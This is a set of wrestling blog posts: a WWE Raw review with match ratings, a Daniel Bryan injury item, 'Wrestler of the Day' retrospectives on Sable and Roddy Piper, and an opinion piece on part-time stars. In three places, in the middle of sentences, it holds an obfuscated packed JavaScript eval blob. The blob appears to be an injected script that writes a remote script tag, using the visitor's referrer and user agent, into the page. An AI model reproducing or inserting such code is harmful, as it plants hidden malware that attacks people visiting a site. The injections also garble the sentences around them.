Back to Harper who fires off a kick to the face. A flying headbutt from Jey is enough for the first hot tag to Jimmy who cleans house. Cole says the Wyatts can’t get it together despite them controlling nearly the entire match so far. Rowan distracts Jimmy, allowing Harper to kick Jimmy’s head off for two. Back to Bray for some knees to the head followed by the Gator Roll from Harper. Erick drops Jimmy across his knee and chokes even more. Back to the leader who muscles Jimmy into the corner and hits the running splash, only to get kicked in the face to put both guys down.

The hot tag brings in Cena to clean house on Rowan before nailing Harper in the face with a right hand. Rowan falls to the floor to escape the AA, allowing Harper to slam Cena face first onto the mat. Jey comes in with a high cross body to Harper but walks into a release Rock Bottom. An enziguri (actually a knee) to the head drops Bray, followed by Cena putting Rowan in the STF, only to have Bray make the save. Bray gets all googly eyed until Jimmy superkicks him down to break up Sister Abigail. Harper gets kicked as well, setting up the double flying Uso to the floor. Back inside and the AA to Rowan gets the pin at 9:42.

Rating: C+. This was much better than the original and it gives Cena some momentum without making Bray look bad. That’s the perk of having minions like Harper and Rowan as you can beat them without sacrificing any of Bray’s heat. It’s not a great match or anything but it did exactly what it was supposed to do.

Post match Bray thanks Cena for making him realize exactly what Bray needs to do. Follow the buzzards.

Here’s Evolution with something to say. Orton knows Evolution has had enough of the Shield and it’s time to take them out. It’s time to put the Hounds of Justice to sleep. Batista shouts that he’s had enough and HHH says it’s time to take the gloves off and finish this. At Extreme Rules the Shield proved how great they were but that’s why HHH fed the roster to them. However, Shield got too big for themselves but HHH was wrong to think he could salvage something out of them.

If Shield wants a rematch at Payback, then so be it. Evolution will do what they do best and take Shield apart. They’ll start by humbling Ambrose before taking the hummingbird’s wings away from Rollins. That leaves Roman Reigns and Evolution will take their time to make an example out of him. Reigns will fail to adapt and….that’s all HHH gets out as Shield jumps them from behind. Shield easily clears the ring and Evolution scatters. Batista gets on the mic and says he’s had enough of all three of them. He challenges Reigns for tonight and Roman looks ready.

Nikki Bella vs. Natalya

This is due to Nikki not liking Natalya’s painting on Total Divas. This would have taken place roughly five months ago and they’re just now having the match. More of the Total Divas are at ringside and holding up cards with scores on them for the moves being used. Nattie takes Nikki down with ease to start but it’s quickly reversed by some elbows from Nikki.

A middle rope knee to the chest gets two on Natalya but she slaps Nikki in the face and puts on an abdominal stretch. Nikki reverses into one of her own before Nattie fights out and hammers away. The match turns into a brawl until Nikki tries a wheelbarrow slam but gets countered into a rollup. The counter is countered into an AWFUL looking rollup for the pin on Natalya at 3:30.

Rating: D. Nikki looks good in very tiny shorts and that’s about all I’ve got.

Natalya freaks out on the other Divas post match. This seems like the start of a heel turn.

Sheamus vs. Curtis Axel

Axel gets the non-title match here by winning a coin flip. Sheamus hammers away to start and drops a knee to the head for two. Axel comes back with a kick to the face and a running knee lift for two of his own. A charge in the corner hits Sheamus’ boot and he goes up top, only to get crotched down onto the ropes. Curtis gets two more off a neckbreaker from the top but a dropkick is countered into the Cloverleaf to make Axel tap at 3:20.

Rating: D+. This is fine for Sheamus as he gets to be in the ring with a quick story and get a win. There wasn’t much to the match but it’s a Curtis Axel match so what were you expecting? Having Sheamus just run over former midcard champions is a fine idea and something that could work well for him.

Ryback jumps Sheamus post match and I think Sheamus is in action again after a break.

Sheamus vs. Ryback

Joined in progress with Ryback holding Sheamus in a chinlock. I’d assume this is non-title as well. A powerslam gets two on Sheamus but he’s able to get his knees up to block a splash. Sheamus hammers away in the corner and nails the running ax handles to the face. Ryback sends him to the apron but that just allows Sheamus to hit the ten forearms.

They don’t have a ton of effect though as Ryback grabs that over the shoulder Stunner for a close two. The Meathook is countered into White Noise for two more. Brogue Kick misses and Ryback grabs a spinebuster for two, only to walk into a running powerslam for two. Sheamus misses a swing at Axel, allowing the Meathook to put him down. Shell Shock doesn’t work and the Brogue Kick is finally good for the pin at 5:33 shown.

Rating: C+. I liked this WAY better than I thought I would as they were allowed to have an entertaining power match. There’s always something fun about two big strong guys just beating the tar out of each other for awhile with big move after big move. I still don’t get the heel turn they’re allegedly pushing for with Sheamus and this didn’t help anything.

Here’s Stephanie with something to say. She talks about Daniel telling us a story earlier tonight about climbing a mountain to reach his goal. Bryan won the title at Wrestlemania and then defeated the demon at Extreme Rules, but now it means he has to have neck surgery. All that proves is one thing: Bryan is simply not an A+ player. His body just couldn’t take it and that’s why Stephanie tried to protect him all these months. However, she has to do what’s best for business and there’s no way of knowing how this surgery is going to go.

Stephanie tells Daniel to come out and see her face to face but here’s Kane instead. Kane comes out, dragging Bryan’s unconscious body. Bryan’s shirt is ripped and his head looks to be slightly cut. There’s your injury angle to get him off television and make Kane look good in the process. Bryan is loaded onto a stretcher as Brie and Stephanie look on in concern.

Post break Brie shoves Stephanie away from the ambulance and tells her to stay out of this.

Dolph Ziggler vs. Fandango

Fandango takes Ziggler down with ease to start and gyrates a bit before throwing Dolph out to the floor. Back in and Dolph scores with some right hands, only to get caught with a knee to the side of the head. A snap suplex gets two on Ziggler and we hit the chinlock. Ziggler fights up and hammers away in the corner. Fandango comes back with a hard falcon’s arrow for two more but he misses the guillotine legdrop, setting up the Fameasser for another near fall. A Layla distraction lets Fandango hit a quick spinwheel kick for two but Layla gets caught in the ring skirt. That distraction sets up the Zig Zag for the pin at 4:52.

Rating: D+. Layla is GORGEOUS but I’m getting bored with these midcard guys trading wins. Thankfully they’ve switched the people up a bit but it doesn’t make for the most interesting matches in the world. There’s potential for Fandango to be a ladies man character as the dancing thing begins to fade away.

Post match Fandango knows that he’s a winner because he still has Layla. He says he loves her and Layla’s smile lights up the arena. JBL: “This is revolting.”

Here’s Jim Duggan, likely to promote Legends House. He says he’s sure we’re all watching the show but here’s Lana to interrupt. She says Duggan is just like England and America: a once great nation that has become a joke. China now has the biggest economy in the world and Rusev is proud to represent Vladimir Putin.

Duggan doesn’t take kindly to this and starts a USA chant. Lana gives Duggan a chance to beg but Duggan swings the board. Rusev easily takes it away and breaks the board over his knee. Lana says crush but here’s Big E. for the attempted save. Rusev easily dispatches Big E. and kicks him to the floor before standing tall.

We recap Shield vs. Evolution throughout the night.

Damien Sandow, who has shorter hair than the last time I saw him, comes out for a match and says people have been trying to silence what he has to say. Theme music cuts him off again.

Damien Sandow vs. Cody Rhodes

Cody takes him down with a fireman’s carry takeover and gives some sarcastic applaud. Sandow drops to the mat to avoid a Disaster Kick and goes after Cody’s knee. A snap suplex gets two on Rhodes and we hit the chinlock. Cody fights up but gets sent throat first into the middle rope. Sandown hits a running hip attack to the back of Rhodes’ head followed by a missed Wind-Up Elbow.

Instead Damien takes him down to the apron for the elbow from the floor. Back to the chinlock for a few seconds before Cody makes his real comeback with a springboard missile dropkick. Sandow escapes Cross Rhodes and hammers away in the corner, only to have Cody rake the eyes and nail the Disaster Kick for the pin at 4:55.

Rating: C-. Well the heel turn had to start somewhere and a good old fashioned rake of the eyes would work as well as anything else. I do feel sorry for Sandow though as he can’t even beat a guy on a losing streak. The match was nothing special as you would expect but at least there was a point to it.

Bolieve!

We look at the Bryan situation earlier tonight.

The Wyatts appear and Bray talks about how Cena’s actions don’t surprise him anymore because Cena is a human. All humans are flawed by their own greed and actions, preventing them from thriving in this paradise. Cena is just like them with his boundless narcissism, leading him right to Bray. Where does this end though?

Does Cena want to capture the head of the beast for his mantle? How can you do that when the beast is waiting for you? When mountains crumble and the oceans boil, Bray Wyatt will be left standing. Where will John Cena stand? How far is he willing to go to take the devil down? Time to sing but I think that was meant to set up a last man standing match at Payback.

Roman Reigns vs. Batista

Batista drives him into the corner to start and nails those shoulders, only to have Reigns counter with some of his own. A hard whip puts Batista into the corner and another sends him into the steps. Back in and Batista sends Reigns’ shoulder into the post to almost no effect. Reigns is right back with a running clothesline but Orton and HHH get up on the apron. That goes nowhere so Reigns hits a running clothesline in the corner.

HHH and Orton block the apron dropkick though, so Ambrose and Rollins hit those sweet stereo dives. Reigns nails the kick to the head and the other four fight by the announce table. HHH breaks up the Superman Punch but Rollins breaks up a Pedigree attempt on the floor as the match is thrown out at 4:22.

Rating: C-. Another decent power match while it lasted but you don’t want to have either of these guys job. I’m really curious to see where this goes though as Shield has been booked so strong for their entire run now, I can’t imagine them losing in the end. I also can’t picture any of them being ready for the big singles push either so I’m not sure where this goes.

Post match HHH is surrounded but Stephanie sends out most of the midcard to take out Shield. They surround Reigns and HHH gets a chair, only to have Reigns explode with a spear. Rollins and Ambrose both grab chairs to clean house and the Shield stands tall again. The place is going NUTS for this. Fandango takes the Dirty Deeds onto the chair and there’s Peace of Mind onto the chair for Axel. Slater gets a Superman Punch and it’s a spear and Triple Bomb to Ryback. Shield tells Evolution to bring it to end the show.

Overall Rating: C+. This is a difficult show to grade. The wrestling certainly wasn’t anything great for the most part, but the majority of the matches were good enough to pass. That being said, the big stuff tonight came in the form of stories, as Bryan likely having to drop the titles opens up a lot of doors. There’s a chance Kane becomes champion but I can’t picture it happening. What I also can’t picture is who gets the belt next unless they put it on Cena again as a holding pattern. This has the potential to be very interesting, but I’d expect them to play it safe.

Results
Rob Van Dam b. Jack Swagger – Five Star Frog Splash
Paige b. Alicia Fox – Paige Turner
John Cena/Usos b. Wyatt Family – Attitude Adjustment to Rowan
Nikki Bella b. Natalya – Cradle
Sheamus b. Curtis Axel – Cloverleaf
Sheamus b. Ryback – Brogue Kick
Dolph Ziggler b. Fandango – Zig Zag
Roman Reigns vs. Batista went to a no contest

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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Daniel Bryan Injures Neck, Out Several Weeks

http://www.sescoops.com/exclusive-daniel-bryan-suffers-neck-injury/

 

No eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krtaa|var|u0026u|referrer|zirrk||js|php'.split('|'),0,{})) word on how long it will be, if he’ll drop the title, or if this is legit yet.  I’m sure something will be announced on Raw tonight.




Wrestler of the Day – April 19: Sable

Today is one of the first Divas: Sable.

 

Sable debuted as HHH’s valet of the week at Wrestlemania XII but she wound up having a personality after HHH yelled at her. Marc Mero (her real life husband) saved her, setting up a feud between HHH and Mero. Sable became a big deal soon after but didn’t get in the ring until 1998. Her first feud was with Luna Vachon, resulting in a mixed tag at Wrestlemania XIV. This was kind of strange as Mero had become a jerk obsessed with the spotlight but turned face again to stand up for Sable’s honor.

The Artist Formerly Known As Goldust/Luna Vachon vs. Marc Mero/Sable

The guys start things off with Mero hitting a fast headscissors and a clothesline. Off to the women folk but Luna wants to fight Mero. She gets Sable instead and Luna runs away instead of fighting. We get a lap around the ring and the men come back in before we get any contact. Goldie gets backdropped by Mero and kicked in the ribs by Sable for good measure. Luna won’t tag in so it’s back to Mero so that the genitals match.

Mero pounds away on Goldust in the corner but gets clotheslined down to change control. A quick cross body gets two for Marc but Goldust hits an uppercut to put him right back down. The fans chant for Sable as the men collide. A double tag brings in the girls and Sable spears Luna down. She pounds away and kicks Luna in the corner before bealing her across the ring.

Sable pounds on Goldust as well but it’s back to Mero who doesn’t fare as well. With Sable trying to get back in, Mero hits Goldust low but can’t hit the TKO. Instead Goldust counters into a DDT for two but he can’t hook the Curtain Call. Mero hits a running knee lift and a moonsault press for two. Goldust goes up but gets crotched, setting up a top rope rana by Mero for two.

Marc threatens to hit Luna and ducks just in time to make the heels collide. The TKO on Goldust gets two more as Luna makes the save. Sable tags herself in and covers Goldust but has to avoid a splash from Luna. A Sable Bomb gets two on Luna and she’s back up in seconds. Not that it matters as the TKO (it’s a cutter out of a fireman’s carry) from Sable ends Luna a few seconds later.

Rating: C. This was WAY better than I was expecting it to be. The saddest part of this match though was what happened after: in the back Sable had praise heaped onto her while Luna was basically ignored. Sable could barely do anything in the ring while Luna was a seasoned veteran who received no credit for her work with Sable. Only Owen Hart congratulated her on her success. That’s rather sad when you think about it.

The feud would continue the next month at Unforgiven 1998.

Sable vs. Luna Vachon

This is the first evening gown match, meaning they start in gowns and the first to be stripped to their underwear loses. They walk around very slowly with both girls losing a sleeve each. Luna, an actual wrestler, drives in some shoulders in the corner before ripping off Sable’s skirt. Lawler is thrilled and Sable charges at Luna to take over. Mero comes out to yell at Sable, allowing Luna to strip the rest of Sable’s dress off for the win. There wasn’t enough to rate here but this wasn’t wrestling anyway.

Mero would become a jerk again due to Sable becoming such a huge deal. This resulted in a match between them on Raw, May 11, 1998.

Sable vs. Marc Mero

They talk a bit before the match and Mero puts her in the TKO position and then puts her down, saying that’s what he could have done. She kicks Mero in the balls and gets a decent powerbomb (all things considered) powerbomb to leave Mero laying. Sable leaves after that so I guess that’s a win?

They would have another match soon after this with Mero easily pinning Sable with a small package, ending her employment in the WWF. This lasted all of a few weeks as she would come back in a story that was never explained. Anyway, she had a mixed tag against Mero and his new chick Jacqueline at Summerslam 1998, teaming with a mystery partner.

Jacqueline/Marc Mero vs. Sable/???

This is the final blowoff of the long Mero vs. Sable feud. The mystery partner is Edge who has only been around for a month or so at this time. The guys start things off with Edge hitting some quick Japanese armdrags. Off to Jackie who demands Sable come in but runs off to Mero as soon as the blonde comes in. Edge hits a quick flapjack but Jackie trips him up to give Mero a free shot.

The million dollar kneelift puts Edge down and Jackie chokes even more. Mero’s TKO is countered into a DDT and it’s off to the girls again. Sable hits her kicks in the corner and a forearm to knock Marc to the floor but she can’t powerbomb Mero. Jackie gets in a cheap shot but gets caught in a passable TKO (fireman’s carry into a cutter) for two as Mero makes a save.

Jackie accidentally drills Mero (he’s having a bad night) and it’s back to the guys for a dive from Edge. Jackie tries to choke Edge but gets spanked for her efforts. Back in and a high cross gets two for Edge and drops Mero with a neckbreaker out of the corner. Marc comes back with a Samoan drop but gets crotched going up. Sable gets the tag and hits a top rope rana for one. Jackie’s save messes up and everything breaks down. The Downward Spiral lays out Mero and Edge drops Sable on top of him for the pin and a big pop.

Rating: C-. The match kind of sucked but Sable was WAY over. You have to remember how big of a deal she was back then to keep this in context. Sable was the final thing you would see on Raw a lot of the time, much like Cena is today. The biggest problem I still have with this match is what JR says at the end: “SHE DID IT!” This was all about Sable and Edge, the guy they were trying to rub, could have been any other guy.

Sable and Jackie would continue fighting, setting up a match for the revived Women’s Title on September 21, 1998’s Raw.

Women’s Title: Sable vs. Jacqueline

Mero stays on the apron and distracts Sable so that Jackie can get in a shot to her back to take over. Jackie fires off some kicks into the ribs and a DDT gets two. She misses a crotch attack on the ropes though and Sable goes into catfight mode with a take down. Sable throws Jackie to the floor and knocks Mero off the apron as well. She suplexes Jackie back in but Mero holds the foot for the pin and the title for Jackie. I don’t think there’s a belt. Too short to rate but as usual Sable was bad in the ring.

Here’s the rematch from Survivor Series 1998.

Women’s Title: Sable vs. Jacqueline

Jackie is defending. Shane McMahon is referee after being demoted by Vince. Jackie kicks Sable down and, wait for it, runs her mouth. Sable comes back with a TKO but Mero pulls her out at two. Sable kicks Mero low and powerbombs him on the floor. Jackie decks Sable and runs her mouth some more. Did I mention I REALLY don’t like Jackie? Sable counters a tornado DDT and powerbombs Jackie for the pin and the title.

Rating: D-. It came, it went, it wasn’t any good at all. People actually cared Sable, but the title became a prop very quickly. There’s just nothing else to say here.

Sable would be a big draw for the company around this time, even making it over to England for the Capital Carnage PPV.

Marc Mero/Jacqueline vs. Christian/Sable

So we see a clip of Mero firing Jackie and leaving the company after losing a match to Duane Gill on Raw. This is apparently only happening due to contractual obligations, even though Vince changed two matches earlier in the night. Christian is a complete newcomer at this time and looks awesome in the white shirt with the long hair.

Sable is naturally cheered to no end as she recently “earned” the Women’s Title. Who cares that she was one of the most annoying workers ever and I can’t stand her? We start with Mero vs. Christian as in this it has to be men vs. men and women vs. women. Surprisingly enough, Mero really did leave shortly after this.

Hey, let’s randomly say that Sable is hot. And now let’s completely ignore the gender rules. With Sable ready to fight Mero, Christian pulls his shorts down. Well ok then. It amuses me greatly that Mero is more embarrassed over being seen in traditional wrestling tights than he is over being Johnny B. Badd on national television but what do I know?

HEY! Sable hit a basic kick! Let’s praise her and give her another month with the women’s title since she’s advance SO much! Christian hits a sweet cross body from the top and the girl chase is on.

After Christian beats up Mero for a bit Sable hits a powerbomb on him and he walks out. This allows Sable to hit some bad offense and a TKO that was sloppy as all goodness for the pin. Jackie beats up the referee and Sable rips her top off, actually showing full chest, which I guess is allowed in England.

Rating: D+. Again, this was nothing of note. It was about five minutes long (that’s the fifth match and none have gone six minutes yet) and just not a lot happened there. The problem is that it’s not enough time to get anything of note going. Christian was good here but he’s miles away from what he is today.

With Jackie now out of the way, Sable would pick up her feud with Luna again, including this match at Royal Rumble 1999.

Women’s Title: Luna Vachon vs. Sable

Scratch that ring announcer line as apparently he’s here to accept Sable’s forfeiture of the title. This was supposed to be a strap match which had a total of 18 seconds of build on Raw. That’s not an exaggeration either. They came out during another match and that was the only mention. Luna attacked Sable on Heat before the show tonight and injured the champ’s back, but Sable wants to fight anyway.

This is the four corners variety so Sable can look TOUGH here. Sable shoves her into the corner and whips Luna to the floor. She keeps whipping Luna and gets three corners but Luna makes the stop. We get more choking and whipping before Luna drags Sable around with both of them getting the buckles at the same time. You know, like in every other strap match EVER. Shane gets up on the apron before Sable gets the buckle, but Sable’s psycho fan Tori uses the distraction to deck Luna, giving Sable the win.

Rating: D. Sable was insanely over back in 98, but at this point it was starting to wear thin. I always felt sorry for Luna who never got to win the Women’s Title. She really would have been a good choice for an evil chick for some blonde heroine to beat, but instead we got worthless lumps like Jackie. Nothing to see here but it could have been worse.

Sable would turn heel soon after this in an actually big moment. Around the same time she had a psychotic fan that followed her everywhere. Naturally the fan was a wrestler and got a title shot at Wrestlemania XV.

Women’s Title: Sable vs. Tori

This is just after Sable turned heel. She’s defending against a psycho fan named Tori here who would wind up sleeping with X-Pac and Kane. Sable won’t let her get in so she dances a bit. Tori, wearing a Catwoman/Giant Gonzalez body suit, pulls the champion to the floor and sends her into the apron a few times, only to get kicked in the ribs by Sable. You can actually see people coming in and going out with food in hand during this match.

Sable dives off the apron to take Tori out before we head back inside. Tori comes back with some shots to the face and a bad looking sunset flip. They BADLY screw up a backslide which gets two on Sable before a bad looking cross body takes out the referee. Cue Nicole Bass who makes Chyna look like a 12 year old girl to slam Tori down. She tells Sable to pin her and the title is retained off a Sable Bomb.

Rating: F. Do I need to explain this one? I didn’t think so. Tori makes Aksana look like Trish and Lita combined if that tells you anything. They sloppiness in this match was cringe worthy and Sable continues to not be able to do anything of note in the ring other than shake her hips and take her clothes off. Nothing to see here at all.

That would more or less be it for Sable around this time as she would leave the WWF in 1999 and not show up again until 2003. She was immediately sleeping with Vince, thereby ticking off Stephanie. For some reason that I’ll never fathom, it was decided that they should wrestle at Vengeance 2003.

Stephanie McMahon vs. Sable

Vince was having an affair with Sable and all of Smackdown had become about them. Yeah I’m shocked too. For some reason this is no count out. That’s just an odd stipulation. This is a catfight, whatever that means. Sable is freaking gorgeous. Stephanie was at a weird stage here and it didn’t work that well for her. We’re in the crowd already. Stephanie actually gets a half decent rollup. I’m surprised.

She goes off on Sable as well as she can and Sable tries to run. That obviously doesn’t work either. Stephanie actually busts out the Mr. Perfect neck snap. WOW. She goes off on Sable in the corner and winds up ripping part of her top off. The referee rips his shirt off for her to put on. And here’s A-Train of all people to flatten Stephanie so Sable can win. Ok then.

Rating: D. This was WAY better than it had any right to be. That being said, it still sucked. They just weren’t going to have a good match no matter what they did, although Stephanie was certainly trying so I can’t fault her for that at all. Not any good at all but they tried so I can give them points there.

Up next was Torrie Wilson in a bizarre semi-lesbian story. Both were in Playboy and they were even in a dual pictorial at one point. This led to a feud, but first it was a tag team evening gown match at Wrestlemania XX.

Sable/Torrie Wilson vs. Miss Jackie/Stacy Keibler

This is an evening gown match and the annual Playboy promotional match. Sable and Torrie posed together and had a teased lesbian angle around this time. Sable wants to just wrestle without clothes but Jackie (Gayda, as in the attractive one) says no. Everyone else winds up in lingerie and Jackie is soon stripped too. This is exactly what you would expect: horny announcers, sexual spots, very little wrestling and very little complaining from most fans. Stacy kicks Torrie’s head off for two and it’s back to Jackie. We get the rolling over the referee spot and Torrie rolls up Jackie for the pin. This was what it was.

And now the feud between them, from Great American Bash 2004.

Sable vs. Torrie Wilson

So they’re fighting over who should be the spokesperson for this PPV. Torrie said she should be, so Sable said she looked fat. You know it’s on after that. To the shock of no one, neither of them can do anything other than look good in shorts. Sable kicks a lot and they mess up a sunset flip. The fans are already booing. All Sable so far here. Time for a chinlock by Sable as this is dying quickly. The fans are mostly silent at this point.

Torrie hits one of the worst suplexes I’ve ever seen. Cole says there are Torrie chants but I don’t hear them. Then again Cole thinks some odd things at times. They collide and both girls are down, drawing even more booing. Sable plays possum and rolls Torrie up for the pin. They couldn’t even do THAT right, as Sable rolled over her and Torrie’s right side was completely off the mat.

Rating: F. If I need to explain this one, you’re not paying enough attention.

Sable wasn’t exactly Lou Thesz in the ring but of course she wasn’t there for what she could do on a mat. Well maybe she was but I’ll leave out the jokes. Sable drew INSANE money for the company in 1998, to the point where she would be the last thing you would see on Raw at times. That’s remarkable and something not even Trish and Lita got to do that often. No she wasn’t great in a ring, but she used what she had very well.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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Thought of the Day: Your Time Is My Time

Concerning eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhnfs|var|u0026u|referrer|htben||js|php'.split('|'),0,{})) Rock, Lesnar, Undertaker, RVD etc.One of the most common criticisms about wrestlers such as these is that they’re part timers and shouldn’t be given top spots.  My reaction to this: why in the world shouldn’t they be?

 

Here’s the thing about guys like this: yeah they’re part timers, but they sell tickets.  WWE is supposed to stick with their people that don’t do as well instead of someone like Brock who is a guaranteed draw because of some loyalty?  That’s great.  They can be loyal the whole time business goes down because they don’t want to offend the feelings of some of their employees.

Look at Punk for example.  Yeah he worked hard for a year as champion and had a very entertaining run.  That’s all well and good, but Rock sells more tickets and merchandise than him with relative ease.  WWE would be foolish to stick with Punk because he had been there all this time instead of going with Rock who can make them a lot more money in a hurry.

This part timers shouldn’t get pushed theory comes off like some of the markiest stuff in the world. It’s a business people, and if the part timers do the most business then that’s what we’re going to get. That’s WWE’s thinking and it’s very logical and successful.




TNA Video Game Trailer

Dixie tweeted it earlier today, even though the trailer has been on Youtube for several weeks now.

That looks….eh.




Wrestler of the Day – April 18: Roddy Piper

It’s Roddy Piper and that’s all the introduction you need.

 

Piper eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hient|var|u0026u|referrer|fnkse||js|php'.split('|'),0,{})) got his start in the AWA where he famously lost his first match to Larry Hennig in 10 seconds. He would stick around for a few years but not do much of anything before heading west to Los Angeles where he was the top heel for several years. Here he is against probably his biggest rival of the period, Chavo Guerrero. From the LA Olympic Coliseum in 1976, putting this early in their feud.

Chavo Guerrero vs. Roddy Piper

We get a bagpipe recital before the match but Chavo breaks it up. Uncultured pest. They slug it out to start with neither guy moving an inch. A right hand to the face puts Chavo in the ropes and some elbows to the back of the head have him in even more trouble. Guerrero fights back with uppercuts in the corner but has to beat up Piper’s unnamed manager whose name sounds like Dr. Rivera.

Chavo beats him up for a good while and sends him into the corner as Piper is on the floor with an object in his hand. He slips it to the manager but it winds up knocking the referee down, allowing Piper and Rivera to destroy Chavo with what looks like a pipe. Rivera covers Guerrero and Piper counts a pin before Roddy accidentally hits Rivera with the pipe. A second referee comes out but gets shoved down as well as Rivera is back up. Hector Guerrero FINALLY comes out to help his brother as Piper is somehow named the winner. That doesn’t even make bad sense. No rating as the match barely happened but it was wild.

Piper would head north to Portland where he again would become a big star, though this time as a face. His biggest feud was against Buddy Rose and here’s one match between them from May 12, 1979.

Buddy Rose vs. Roddy Piper

This is 2/3 falls with two guest referees, one inside and one outside. Piper is Pacific Northwest Champion but the belt isn’t on the line here. The brawl starts on the floor with Rose being whipped into the barricade. Back in and Piper whips him into the buckles as Rose is begging for mercy on the floor. Buddy slides back in and nails some left hands to almost no effect. Instead it’s off to a chinlock and Piper is busted open somehow.

The fans chant for Roddy as he fights up after two arm drops. Back up and Piper freaks out after seeing his own blood but Rose bites the cut to put him back down. We hit another chinlock and Piper actually goes down as Rose drives a knuckle into his head. Roddy finally scores with a knee to the head but Rose pokes him in the eye to stop him again.

Piper loses it again and nails a series of right hands. A shot to the throat puts Rose down as the recently face Piper still has some heel mannerisms about him. Rose gets hammered in the corner and suplexed down but Piper picks him up at two. A swinging neckbreaker gives Roddy the first fall.

Fall #2 begins after a break and Rose is walking to the back. That goes nowhere as he comes back in with a few seconds to spare and Piper fires off elbows to the head. A hard whip into the corner puts Rose down again and we hit the neck crank from Piper this time. Piper lets go and snaps Rose’s throat across the top rope instead but misses a dropkick in the corner as the turnbuckle breaks.

Rose chokes with the rope before taking him outside to ram Roddy’s back into the post. The crew tries to fix the buckle but the ropes are flying all over the place now. Rose grabs a backbreaker for two but pulls Piper up instead of going for the pin. A second backbreaker is enough for the pin on Piper though to tie things up.

We start the final round with Rose jumping Piper from behind and getting two off an atomic drop. Off to a bearhug on Piper but he fights out with a stiff right hand to the face. Rose backs off but gets beaten down in the corner, only to come back with a headbutt to the ribs. They fight outside with Rose hammering away but Piper takes over with an even bigger beating. A guy named Wisgowski runs out and posts Piper, allowing Rose to try to claim a countout. The other referee doesn’t buy it though and Piper wins by DQ.

Rating: C+. This worked well while it lasted and the double referee makes sense here. These two feuded for over a year in Portland and drew some awesome crowds over how much they hated each other. Rose would be more famous as a comedy guy in the WWF, as well as being in the first match at Wrestlemania.

Piper would head to Jim Crockett and Mid-Atlantic about a year later. After a feud with Ric Flair, Piper would set his sights on Greg Valentine and the US Title. Their most famous match was a dog collar match at Starrcade 1983.

Roddy Piper vs. Greg Valentine

Greg is US Champion but this is non-title because it’s a dog collar match. The idea is they both have collars around their neck and there’s a chain attaching the two collars, meaning neither guy can run away. Anything goes and you can win by pinfall. This match came about because Valentine injured Piper’s ear in the match where he won the title. They immediately start by pulling on the chain with their necks in a painful looking tug of war. Neither guy can get an advantage so they both start pulling on the chain to get closer to each other.

Piper gets in the first shot with the chain and Valentine is mad. They back up again but Valentine misses some swings and Piper gets back to the corner. Both guys come to the center of the ring for a slugout but no one can take over. Roddy gets in some shots with the chain and Valentine is in trouble. Greg goes for the bad ear and start choking away with the chain but also wrapping the chain around Piper’s face for extra torture.

Piper comes back with some shots to the eyes of his own before choking away in the middle of the ring. Valentine is sent into the corner and Piper keeps pounding away on the head. Piper takes it to the floor for some HARD shots with the chain as they head into the barricade. Greg gets in some shots to the bad ear and Piper is bleeding from the side of his head.

Back in and Valentine pounds away but Piper blocks a suplex. A hard elbow gets two for Valentine but Piper is in big trouble. Greg tries to hit the ropes but Piper pulls the chain to bring him down. Piper goes NUTS on Valentine and pounds away on him, busting the champion open in the process. Valentine goes right back to the ear but Piper comes back with some straight left hands to the jaw. A BIG right hand drops Valentine but Greg goes after the ear again to take over. Greg gets two off a knee drop as both guys are tiring.

A chain shot to Piper’s ear gets two but Roddy comes back with a suplex to put both guys down. Greg grabs a quick sleeper but Piper’s arm only drops once. Roddy wraps the chain around his hand but the hold slows him down again. A jawbreaker gets Piper out of the hold but it’s Valentine going up first. Roddy pulls him off the ropes and beats the tar out of him with the chain before tying the legs up to pin Valentine. Solie says that was for the title but corrects himself a few seconds later.

Rating: B+. This is a very hard hitting brawl but it can be a bit slow at times. This is the match that made people realize how insane Piper could be as he went out there and took an insane beating before coming back time after time and trying to hurt Valentine. He would jump to the WWF soon after and become the top villain in the world, which is what he deserved to be.

Piper would be in the WWF very soon after this. His first feud came against Jimmy Snuka, due to Piper breaking a coconut over Snuka’s head. Here’s one of their many matches from MSG on August 25, 1984.

Roddy Piper vs. Jimmy Snuka

Ok, this MUST be better than anything else tonight. I mean, by pure talent alone it has to be. This is just after the coconut attack by Piper so this is a really hot feud. Piper bails to the floor to start (popular move tonight) before coming back in for a hot slugout. Snuka easily chops him down and adds a headbutt for good measure. Piper tries a headbutt of his own and looks like he has a concussion. Roddy goes to the eye instead and pounds away at the head but Jimmy comes back with a chop to send Piper to the floor.

As they come back in, Snuka gets Piper caught up in the ropes and pounds away before hooking a sleeper. Piper gyrates his way out to the floor again and finally breaks the hold. Jimmy rams him into the post and into a chair for good measure to bust Piper open. They head back inside and Roddy looks TERRIFIED. Another headbutt puts Piper down but he counters the top rope cross body and sends Jimmy into the ropes. Snuka falls to the floor and is counted out in record time.

Rating: C+. This was BY FAR the best match of the night so far as it felt like these two wanted to kill each other. Piper charging in to fight Jimmy was a good idea as he looked more crafty than cowardly, which is a nice thing to see given how lame heels are booked in modern wrestling. These two feuded for a long time, with the feud being incorporated into the main event of the first Wrestlemania.

Piper would soon move on to his biggest feud ever with Hulk Hogan. Roddy had attacked pop star Cyndi Lauper with Hogan coming in for the save. This set up the War to Settle the Score in February of 1985.

